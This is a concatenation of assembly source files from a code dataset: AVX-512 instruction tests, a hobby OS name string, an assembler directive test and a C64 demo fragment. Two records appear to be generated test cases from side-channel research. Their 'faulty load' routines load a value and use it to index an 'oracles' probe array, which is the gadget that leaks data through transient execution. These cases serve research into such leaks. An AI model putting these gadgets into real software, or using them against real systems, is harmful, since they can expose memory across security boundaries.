76d92e73c29eaaf175f2c77465b1c6eacaef6f3c
[ "Apache-2.0" ]
94
2020-07-09T14:39:02.000Z
2022-03-27T10:37:03.000Z
bits 64 vpmadd52huq xmm2, xmm7, xmm0 vpmadd52huq xmm2, xmm7, [rbx] vpmadd52huq xmm2, xmm7, [rbx]{1to2} vpmadd52huq xmm2, xmm7, [rbx+r11*8+256] vpmadd52huq xmm2, xmm7, [rbx+r11*8-256] vpmadd52huq xmm2{k5}, xmm7, xmm0 vpmadd52huq xmm2{k5}, xmm7, [rbx] vpmadd52huq xmm2{k5}, xmm7, [rbx]{1to2} vpmadd52huq xmm2{k5}, xmm7, [rbx+r11*8+256] vpmadd52huq xmm2{k5}, xmm7, [rbx+r11*8-256] vpmadd52huq xmm2{k5}{z}, xmm7, xmm0 vpmadd52huq xmm2{k5}{z}, xmm7, [rbx] vpmadd52huq xmm2{k5}{z}, xmm7, [rbx]{1to2} vpmadd52huq xmm2{k5}{z}, xmm7, [rbx+r11*8+256] vpmadd52huq xmm2{k5}{z}, xmm7, [rbx+r11*8-256] vpmadd52huq ymm16, ymm13, ymm15 vpmadd52huq ymm16, ymm13, [rbx] vpmadd52huq ymm16, ymm13, [rbx]{1to4} vpmadd52huq ymm16, ymm13, [rbx+r11*8+256] vpmadd52huq ymm16, ymm13, [rbx+r11*8-256] vpmadd52huq ymm16{k5}, ymm13, ymm15 vpmadd52huq ymm16{k5}, ymm13, [rbx] vpmadd52huq ymm16{k5}, ymm13, [rbx]{1to4} vpmadd52huq ymm16{k5}, ymm13, [rbx+r11*8+256] vpmadd52huq ymm16{k5}, ymm13, [rbx+r11*8-256] vpmadd52huq ymm16{k5}{z}, ymm13, ymm15 vpmadd52huq ymm16{k5}{z}, ymm13, [rbx] vpmadd52huq ymm16{k5}{z}, ymm13, [rbx]{1to4} vpmadd52huq ymm16{k5}{z}, ymm13, [rbx+r11*8+256] vpmadd52huq ymm16{k5}{z}, ymm13, [rbx+r11*8-256] vpmadd52huq zmm24, zmm24, zmm31 vpmadd52huq zmm24, zmm24, [rbx] vpmadd52huq zmm24, zmm24, [rbx]{1to8} vpmadd52huq zmm24, zmm24, [rbx+r11*8+256] vpmadd52huq zmm24, zmm24, [rbx+r11*8-256] vpmadd52huq zmm24{k5}, zmm24, zmm31 vpmadd52huq zmm24{k5}, zmm24, [rbx] vpmadd52huq zmm24{k5}, zmm24, [rbx]{1to8} vpmadd52huq zmm24{k5}, zmm24, [rbx+r11*8+256] vpmadd52huq zmm24{k5}, zmm24, [rbx+r11*8-256] vpmadd52huq zmm24{k5}{z}, zmm24, zmm31 vpmadd52huq zmm24{k5}{z}, zmm24, [rbx] vpmadd52huq zmm24{k5}{z}, zmm24, [rbx]{1to8} vpmadd52huq zmm24{k5}{z}, zmm24, [rbx+r11*8+256] vpmadd52huq zmm24{k5}{z}, zmm24, [rbx+r11*8-256] vpmadd52luq xmm2, xmm7, xmm0 vpmadd52luq xmm2, xmm7, [rbx] vpmadd52luq xmm2, xmm7, [rbx]{1to2} vpmadd52luq xmm2, xmm7, [rbx+r11*8+256] vpmadd52luq xmm2, xmm7, [rbx+r11*8-256] vpmadd52luq xmm2{k5}, xmm7, xmm0 vpmadd52luq xmm2{k5}, xmm7, [rbx] vpmadd52luq xmm2{k5}, xmm7, [rbx]{1to2} vpmadd52luq xmm2{k5}, xmm7, [rbx+r11*8+256] vpmadd52luq xmm2{k5}, xmm7, [rbx+r11*8-256] vpmadd52luq xmm2{k5}{z}, xmm7, xmm0 vpmadd52luq xmm2{k5}{z}, xmm7, [rbx] vpmadd52luq xmm2{k5}{z}, xmm7, [rbx]{1to2} vpmadd52luq xmm2{k5}{z}, xmm7, [rbx+r11*8+256] vpmadd52luq xmm2{k5}{z}, xmm7, [rbx+r11*8-256] vpmadd52luq ymm16, ymm13, ymm15 vpmadd52luq ymm16, ymm13, [rbx] vpmadd52luq ymm16, ymm13, [rbx]{1to4} vpmadd52luq ymm16, ymm13, [rbx+r11*8+256] vpmadd52luq ymm16, ymm13, [rbx+r11*8-256] vpmadd52luq ymm16{k5}, ymm13, ymm15 vpmadd52luq ymm16{k5}, ymm13, [rbx] vpmadd52luq ymm16{k5}, ymm13, [rbx]{1to4} vpmadd52luq ymm16{k5}, ymm13, [rbx+r11*8+256] vpmadd52luq ymm16{k5}, ymm13, [rbx+r11*8-256] vpmadd52luq ymm16{k5}{z}, ymm13, ymm15 vpmadd52luq ymm16{k5}{z}, ymm13, [rbx] vpmadd52luq ymm16{k5}{z}, ymm13, [rbx]{1to4} vpmadd52luq ymm16{k5}{z}, ymm13, [rbx+r11*8+256] vpmadd52luq ymm16{k5}{z}, ymm13, [rbx+r11*8-256] vpmadd52luq zmm24, zmm24, zmm31 vpmadd52luq zmm24, zmm24, [rbx] vpmadd52luq zmm24, zmm24, [rbx]{1to8} vpmadd52luq zmm24, zmm24, [rbx+r11*8+256] vpmadd52luq zmm24, zmm24, [rbx+r11*8-256] vpmadd52luq zmm24{k5}, zmm24, zmm31 vpmadd52luq zmm24{k5}, zmm24, [rbx] vpmadd52luq zmm24{k5}, zmm24, [rbx]{1to8} vpmadd52luq zmm24{k5}, zmm24, [rbx+r11*8+256] vpmadd52luq zmm24{k5}, zmm24, [rbx+r11*8-256] vpmadd52luq zmm24{k5}{z}, zmm24, zmm31 vpmadd52luq zmm24{k5}{z}, zmm24, [rbx] vpmadd52luq zmm24{k5}{z}, zmm24, [rbx]{1to8} vpmadd52luq zmm24{k5}{z}, zmm24, [rbx+r11*8+256] vpmadd52luq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
42.892473
52
0.654299
9cc8e90f336b3454effbca10656880acac3bb532
183
asm
Assembly
source/features/name.asm
mynameispyo/InpyoOS
b6ddb6d9715b027ab65891bd4c4f46dbe5c9890d
[ "BSD-3-Clause", "MIT" ]
null
null
null
source/features/name.asm
mynameispyo/InpyoOS
b6ddb6d9715b027ab65891bd4c4f46dbe5c9890d
[ "BSD-3-Clause", "MIT" ]
null
null
null
source/features/name.asm
mynameispyo/InpyoOS
b6ddb6d9715b027ab65891bd4c4f46dbe5c9890d
[ "BSD-3-Clause", "MIT" ]
null
null
null
; ================================================================== ; MichalOS Name ; ================================================================== osname db 'InpyoOS 2.0', 0
30.5
68
0.163934
5ea17e07b059084e5d5b8d0146dcab630dff2f23
6,131
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1134.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1134.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1134.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r8 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x1bdcf, %r8 nop sub $13546, %rax mov $0x6162636465666768, %rdi movq %rdi, %xmm3 movups %xmm3, (%r8) nop nop nop cmp %r8, %r8 lea addresses_UC_ht+0x1589b, %r12 nop nop nop sub %r11, %r11 mov $0x6162636465666768, %rdi movq %rdi, %xmm4 movups %xmm4, (%r12) nop nop nop nop dec %rdi lea addresses_WC_ht+0x9eef, %rax nop nop nop nop nop and %rdx, %rdx movb (%rax), %r12b inc %r8 lea addresses_UC_ht+0x10f0f, %rsi lea addresses_D_ht+0xf9e9, %rdi nop dec %r12 mov $14, %rcx rep movsl nop nop dec %r11 lea addresses_WC_ht+0x1b94f, %r12 add $2540, %r8 mov (%r12), %rax nop sub %r12, %r12 lea addresses_normal_ht+0x1543f, %rcx nop nop and $22346, %r8 mov (%rcx), %si nop nop and $15162, %r8 lea addresses_normal_ht+0x70af, %rdi add $19243, %r12 mov $0x6162636465666768, %rcx movq %rcx, %xmm7 movups %xmm7, (%rdi) nop nop nop xor $44859, %rax lea addresses_UC_ht+0x15eef, %rsi lea addresses_normal_ht+0x10cff, %rdi nop nop nop nop add $51016, %rdx mov $31, %rcx rep movsw nop nop add %rax, %rax lea addresses_UC_ht+0x162ef, %r8 nop nop sub $20341, %rdx movb (%r8), %r11b nop nop nop and %r11, %r11 pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r8 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r8 push %r9 push %rbp push %rcx // Faulty Load lea addresses_WC+0x3aef, %rbp nop nop nop cmp $4484, %r12 mov (%rbp), %r9 lea oracles, %r12 and $0xff, %r9 shlq $12, %r9 mov (%r12,%r9,1), %r9 pop %rcx pop %rbp pop %r9 pop %r8 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_A_ht', 'same': True, 'AVXalign': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': True, 'congruent': 10}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 4}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 1}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 4}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
40.335526
2,999
0.658783
082939c91a08b4d39b9d30541bc1e96e78c01aec
9,578
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_21829_54.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_21829_54.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_21829_54.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r14 push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x162b3, %rbx cmp $44234, %rsi mov (%rbx), %r10 nop nop add $26371, %rbx lea addresses_WT_ht+0x1da01, %rsi lea addresses_D_ht+0xc001, %rdi sub %r13, %r13 mov $61, %rcx rep movsq nop nop nop nop nop and $33457, %rdi lea addresses_normal_ht+0x7c59, %rdi nop xor $20790, %r12 movw $0x6162, (%rdi) nop nop nop dec %rbx lea addresses_WT_ht+0x13501, %rsi lea addresses_WC_ht+0xbac9, %rdi clflush (%rsi) nop nop nop nop inc %r14 mov $97, %rcx rep movsl nop nop nop nop sub %r14, %r14 lea addresses_D_ht+0x12401, %r10 nop nop nop nop nop and %r13, %r13 mov $0x6162636465666768, %rdi movq %rdi, (%r10) nop nop nop nop xor $17574, %r13 lea addresses_UC_ht+0x1c101, %rsi lea addresses_WT_ht+0xf669, %rdi nop add $33830, %r14 mov $103, %rcx rep movsq nop nop nop nop nop add $59906, %rdi lea addresses_UC_ht+0x1bd02, %rsi lea addresses_WT_ht+0x961f, %rdi clflush (%rsi) nop nop nop nop nop cmp %r14, %r14 mov $78, %rcx rep movsb nop nop inc %r14 lea addresses_A_ht+0x9d81, %rsi lea addresses_A_ht+0x1a381, %rdi nop nop nop nop nop sub $64351, %r12 mov $78, %rcx rep movsb nop nop nop add %r12, %r12 lea addresses_WC_ht+0x50f7, %rsi lea addresses_WC_ht+0x17a81, %rdi nop nop xor %r13, %r13 mov $11, %rcx rep movsl nop nop and $61371, %rsi lea addresses_WT_ht+0xa761, %rsi lea addresses_WC_ht+0x14035, %rdi nop nop nop sub $54900, %r13 mov $95, %rcx rep movsw nop nop nop nop nop sub %rdi, %rdi lea addresses_normal_ht+0xc781, %rsi lea addresses_D_ht+0xaa31, %rdi nop nop nop nop nop sub $11357, %r13 mov $11, %rcx rep movsw nop cmp $53417, %r14 lea addresses_D_ht+0xe401, %rdi nop xor %r13, %r13 mov (%rdi), %r10 nop nop nop nop add $34410, %r14 lea addresses_UC_ht+0xe901, %rsi lea addresses_UC_ht+0x14ae1, %rdi nop nop and $5811, %r14 mov $113, %rcx rep movsb xor $47371, %r14 lea addresses_A_ht+0x9201, %rdi nop and %r10, %r10 mov $0x6162636465666768, %r12 movq %r12, %xmm7 vmovups %ymm7, (%rdi) nop nop nop add %rcx, %rcx lea addresses_WC_ht+0x1e201, %rsi nop nop nop and $137, %r13 mov $0x6162636465666768, %r12 movq %r12, %xmm4 and $0xffffffffffffffc0, %rsi movaps %xmm4, (%rsi) xor $23295, %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %r14 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r8 push %rbx push %rcx push %rdi push %rdx push %rsi // REPMOV lea addresses_normal+0xc01, %rsi lea addresses_WT+0x15401, %rdi clflush (%rdi) nop nop nop nop nop sub %r8, %r8 mov $105, %rcx rep movsw nop add $22928, %rbx // REPMOV lea addresses_normal+0x5089, %rsi lea addresses_normal+0xc01, %rdi nop nop nop nop nop cmp $4811, %r13 mov $63, %rcx rep movsw nop nop nop nop and $43342, %rbx // REPMOV lea addresses_D+0x17c01, %rsi lea addresses_UC+0x11601, %rdi nop nop nop nop and %rdx, %rdx mov $102, %rcx rep movsw sub %r8, %r8 // Store lea addresses_PSE+0x1d4a1, %rcx nop nop nop nop nop add %r13, %r13 mov $0x5152535455565758, %rbx movq %rbx, %xmm5 vmovups %ymm5, (%rcx) nop nop nop nop xor %rdi, %rdi // REPMOV mov $0x6bdcc700000000df, %rsi lea addresses_A+0xc601, %rdi nop xor $52305, %r8 mov $0, %rcx rep movsw nop nop dec %rsi // Faulty Load lea addresses_normal+0xc01, %rcx nop nop inc %rsi movb (%rcx), %dl lea oracles, %rsi and $0xff, %rdx shlq $12, %rdx mov (%rsi,%rdx,1), %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r8 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal', 'congruent': 0, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT', 'congruent': 11, 'same': False}} {'src': {'type': 'addresses_normal', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal', 'congruent': 0, 'same': True}} {'src': {'type': 'addresses_D', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC', 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 5}} {'src': {'type': 'addresses_NC', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A', 'congruent': 9, 'same': False}} [Faulty Load] {'src': {'type': 'addresses_normal', 'AVXalign': True, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 3}} {'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 7}} {'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': True}} {'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}} {'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 16, 'NT': True, 'same': True, 'congruent': 8}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
29.838006
2,999
0.660785
14f82a9a073539bb595517332de09f38060cae1b
654
asm
Assembly
tests/misc/dir_size.asm
cizo2000/sjasmplus
615d7c0e09a44aa2a923095fc9ed6dca6ecae4a4
[ "BSD-3-Clause" ]
null
null
null
tests/misc/dir_size.asm
cizo2000/sjasmplus
615d7c0e09a44aa2a923095fc9ed6dca6ecae4a4
[ "BSD-3-Clause" ]
null
null
null
tests/misc/dir_size.asm
cizo2000/sjasmplus
615d7c0e09a44aa2a923095fc9ed6dca6ecae4a4
[ "BSD-3-Clause" ]
null
null
null
;; test of default output file name in normal input file mode ; enable output into default output file ("dir_output_default_name.out") SIZE 8 ; should be preserved across first OUTPUT directive OUTPUT "dir_size.bin" DB 'Tbin' ; should do 2x error, modifying already set old SIZE SIZE 16 SIZE -1 OUTEND ; should PAD the file up to 8B SIZE -1 ; shouldn't do anything, as OUTEND was supposed to reset SIZE and -1 == -1 OUTPUT "dir_size.tap" DB 'Ttap' SIZE 16 ; make the TAP file 16B ; try to end + close OUTPUT by specifying new one OUTPUT "justToEndTap.bin"
28.434783
90
0.642202
6f968809e7abe433cedca7dd3c688591def95780
14,888
asm
Assembly
intro.asm
visy/c64demo2017
6ff438f2b331aefec346156ded4f62d437c26652
[ "WTFPL" ]
null
null
null
intro.asm
visy/c64demo2017
6ff438f2b331aefec346156ded4f62d437c26652
[ "WTFPL" ]
null
null
null
intro.asm
visy/c64demo2017
6ff438f2b331aefec346156ded4f62d437c26652
[ "WTFPL" ]
null
null
null
.macro StabilizeRaster() { // // Register a new irq handler for the next line. // lda #<stabilizedirq sta $fffe lda #>stabilizedirq sta $ffff inc $d012 // // ACK the current IRQ // lda #$ff sta $d019 // Save the old stack pointer so we can just restore the stack as it was // before the stabilizing got in the way. tsx // Enable interrupts and call nop's until the end of the current line // should be reached cli nop nop nop nop nop nop nop nop // Add one more nop if NTSC // Here's or second irq handler stabilizedirq: // Reset the SP so it looks like the extra irq stuff never happened txs // // Wait for line to finish. // // PAL-63 // NTSC-64 // NTSC-65 //---------//------------//----------- ldx #$08 // ldx #$08 // ldx #$09 dex // dex // dex bne *-1 // bne *-1 // bne *-1 bit $00 // nop // nop // // Check at exactly what point we go to the next line // lda $d012 cmp $d012 beq *+2 // If we haven't changed line yet, wait an extra cycle. // Here our real logic can start running. } .macro FillBitmap(addr, value) { ldx #$00 lda #value !loop: sta addr,x sta (addr + $100),x sta (addr + $200),x sta (addr + $300),x sta (addr + $400),x sta (addr + $500),x sta (addr + $600),x sta (addr + $700),x sta (addr + $800),x sta (addr + $900),x sta (addr + 